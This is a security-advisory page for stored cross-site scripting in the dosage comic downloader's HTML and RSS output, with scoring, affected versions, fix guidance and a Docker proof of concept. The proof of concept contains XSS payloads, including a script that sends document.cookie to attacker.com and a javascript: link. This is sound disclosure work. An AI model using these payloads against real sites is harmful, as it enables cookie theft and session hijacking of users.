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OSV ecosystem advisory

GHSA-75mw-h36v-2jv7: Dosage Vulnerable to Stored Cross-Site Scripting (XSS) in HTML/RSS Output Handlers

MediumCVSS 6.1 · v3.1—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 24/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. No account or password is required. A user must open a link or visit a page. No special conditions are required; it is repeatable.
  • Fixed version: dosage (PyPI) 3.3.

Low priority for now. Upgrade to dosage (PyPI) 3.3 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

## Summary The HTML and RSS output handlers in `dosagelib/events.py` write user-controlled content (comic text and page URLs) directly into generated files without proper HTML escaping. When a user scrapes a malicious webcomic and opens the generated HTML/RSS file, attacker-controlled JavaScript can execute in their browser. **CWE**: [CWE-79](https://cwe.mitre.org/data/definitions/79.html) - Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) --- ## Details ### Vulnerable Code Locations The vulnerability exists in `dosagelib/events.py` where untrusted content is written to HTML/RSS output without escaping: **1. RSSEventHandler (lines 116-118)** ```python # events.py:116-118 if comic.text: description += '<br/>%s' % comic.text # ← Unescaped comic.text description += '<br/><a href="%s">View Comic Online</a>' % pageUrl # ← Unescaped URL ``` **2. HtmlEventHandler (lines 232, 238)** ```python # events.py:232 self.html.write(u'<li><a href="%s">%s</a>\n' % (pageUrl, pageUrl)) # ← Unescaped URL # events.py:238 if text: self.html.write(u'<br/>%s\n' % text) # ← Unescaped text ``` ### Root Cause - `BasicScraper.fetchText()` in `scraper.py:422` calls `html.unescape()` on extracted text - The output handlers never call `html.escape()` before writing to files - No sanitization of URLs or text content occurs anywhere in the output pipeline ### Data Flow ``` Malicious webcomic page ↓ textSearch XPath extracts content (e.g., img/@title, div text) ↓ BasicScraper.fetchText() calls html.unescape() ↓ comic.text stored without sanitization ↓ HtmlEventHandler/RSSEventHandler writes to file without html.escape() ↓ Generated HTML/RSS contains executable JavaScript ``` --- ## PoC I created a proof-of-concept that demonstrates the vulnerability by simulating a malicious comic source. ### Prerequisites - Docker installed and running ### PoC Files Create these files in a `poc/` directory: **1. `poc/Dockerfile`** ```dockerfile FROM python:3.11-slim LABEL description="PoC for dosage Stored XSS vulnerability (CWE-79)" WORKDIR /app COPY . /app # Install dependencies RUN pip install --no-cache-dir --quiet imagesize lxml requests rich platformdirs # Install dosage ENV SETUPTOOLS_SCM_PRETEND_VERSION_FOR_DOSAGE=0.0.0 RUN pip install --no-cache-dir --quiet . CMD ["python", "poc/poc.py"] ``` **2. `poc/poc.py`** ```python #!/usr/bin/env python3 """ PoC: Stored XSS in dosage HTML/RSS Output Handlers Demonstrates that untrusted comic content is written to output files unescaped. """ import sys from pathlib import Path from types import SimpleNamespace from dosagelib.events import HtmlEventHandler, RSSEventHandler # XSS payloads simulating malicious webcomic content MALICIOUS_TEXT = "Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>" MALICIOUS_URL = "javascript:alert('XSS-via-URL')" def check_vulnerability(content: str, marker: str, description: str) -> bool: """Check if unescaped marker appears in content.""" if marker.lower() in content.lower(): print(f" [VULNERABLE] {description}") print(f" Found unescaped: {marker}") return True print(f" [SAFE] {description}") return False def main(): print("=" * 70) print("PoC: Stored XSS in dosage HTML/RSS Output Handlers") print("=" * 70) print() base = Path(__file__).parent / "output" base.mkdir(parents=True, exist_ok=True) # Create dummy image file img_path = base / "payload.png" img_path.write_bytes(b"\x89PNG\r\n\x1a\n") # Simulate comic with malicious content comic = SimpleNamespace( scraper=SimpleNamespace(name="MaliciousComic"), referrer=MALICIOUS_URL, text=MALICIOUS_TEXT, url="http://example.com/comic.png" ) vulnerabilities_found = 0 # Test RSS Handler print("[*] Testing RSSEventHandler...") rss_handler = RSSEventHandler(str(base), None, False) rss_handler.start() rss_handler.comicDownloaded(comic, str(img_path)) rss_handler.end() rss_path = Path(rss_handler.rssfn) rss_content = rss_path.read_text(encoding="utf-8") print(f" Output file: {rss_path}") if check_vulnerability(rss_content, "javascript:", "pageUrl in RSS href"): vulnerabilities_found += 1 # Test HTML Handler print() print("[*] Testing HtmlEventHandler...") html_handler = HtmlEventHandler(str(base), None, False) html_handler.start() html_path = Path(html_handler.html.name) html_handler.comicDownloaded(comic, str(img_path), text=MALICIOUS_TEXT) html_handler.end() html_content = html_path.read_text(encoding="utf-8") print(f" Output file: {html_path}") if check_vulnerability(html_content, "<script>", "text param in HTML"): vulnerabilities_found += 1 if check_vulnerability(html_content, "javascript:", "pageUrl in HTML link"): vulnerabilities_found += 1 # Show vulnerable content print() print("-" * 70) print("Vulnerable Content in Generated HTML:") print("-" * 70) for line in html_content.splitlines(): if "<script>" in line.lower() or "javascript:" in line.lower(): print(f" {line}") print() print("=" * 70) print(f"RESULT: {vulnerabilities_found} XSS vulnerability vectors confirmed!") print("=" * 70) return 0 if vulnerabilities_found > 0 else 1 if __name__ == "__main__": sys.exit(main()) ``` **3. `poc/run_poc.sh`** ```bash #!/usr/bin/env bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" ROOT_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)" echo "[*] Building PoC Docker image..." docker build -t dosage-xss-poc -f "${SCRIPT_DIR}/Dockerfile" "${ROOT_DIR}" --quiet echo "[*] Running PoC..." docker run --rm dosage-xss-poc echo "[*] Cleanup: docker rmi dosage-xss-poc" ``` ### Running the PoC ```bash cd /path/to/dosage chmod +x poc/run_poc.sh ./poc/run_poc.sh ``` ### PoC Output ``` ====================================================================== PoC: Stored XSS in dosage HTML/RSS Output Handlers ====================================================================== [*] Testing RSSEventHandler... Output file: /app/poc/output/dailydose.rss [VULNERABLE] pageUrl in RSS href Found unescaped: javascript: [*] Testing HtmlEventHandler... Output file: /app/poc/output/html/comics-20251210.html [VULNERABLE] text param in HTML Found unescaped: <script> [VULNERABLE] pageUrl in HTML link Found unescaped: javascript: ---------------------------------------------------------------------- Vulnerable Content in Generated HTML: ---------------------------------------------------------------------- <li><a href="javascript:alert('XSS-via-URL')">javascript:alert('XSS-via-URL')</a> <br/>Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script> ====================================================================== RESULT: 3 XSS vulnerability vectors confirmed! ====================================================================== ``` The output shows that: 1. The `javascript:` URL is written directly into `<a href>` attributes 2. The `<script>` tag from comic text appears unescaped in the HTML body --- ## Impact ### Who is affected? - Users who use `dosage --output html` or `dosage --output rss` options - Anyone who opens the generated HTML/RSS files in a browser ### Attack scenario 1. Attacker creates or compromises a webcomic site 2. Attacker injects JavaScript into image title/alt attributes: ```html <img src="comic.png" title="Funny!<script>alert(1)</script>"> ``` 3. Victim runs: `dosage MaliciousComic --output html` 4. The generated `Comics/html/comics-YYYYMMDD.html` contains the unescaped script 5. When victim opens the file, JavaScript executes ### Potential consequences - **Cookie theft** if files are served over HTTP - **Local file access** via `file://` protocol - **Phishing attacks** through DOM manipulation --- ## Recommended Fix Escape all user-controlled content before writing to HTML/RSS: ```python import html # In RSSEventHandler.comicDownloaded() - events.py around line 116: if comic.text: description += '<br/>%s' % html.escape(comic.text) description += '<br/><a href="%s">View Comic Online</a>' % html.escape(pageUrl) # In HtmlEventHandler.comicDownloaded() - events.py around line 232: self.html.write(u'<li><a href="%s">%s</a>\n' % (html.escape(pageUrl), html.escape(pageUrl))) # events.py around line 238: if text: self.html.write(u'<br/>%s\n' % html.escape(text)) ``` For URLs, validating that they use safe protocols (`http://`, `https://`) would also help prevent javascript: URLs. --- ## Resources - [CWE-79: Cross-site Scripting (XSS)](https://cwe.mitre.org/data/definitions/79.html) - [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) - [Python html.escape() documentation](https://docs.python.org/3/library/html.html#html.escape) ---

Published
Jun 26, 2026
Updated
Jul 21, 2026
EPSS
—

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Action score

24

Monitor

Low priority for now.

CVSS
24 / 40 · 6.1 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

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Affected systems

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VendorProduct
PyPIdosage

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Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
PyPIdosagebefore 3.33.3

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
PyPI:dosage3.3Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Patch and commit links

Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.

Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • No account or password is required.
  • A user must open a link or visit a page.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
low · data can be read
Integrity
low · data or configuration can be modified
Availability
none

Impact can extend beyond the vulnerable component (scope changes).

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality impact
Low
Integrity impact
Low
Availability impact
None

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

osv

Root cause

User content is inserted into the page as HTML. The browser interprets the content as code rather than data.

A representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.

Vulnerable

ts
commentEl.innerHTML = comment.body;

Fixed

ts
commentEl.textContent = comment.body;

References

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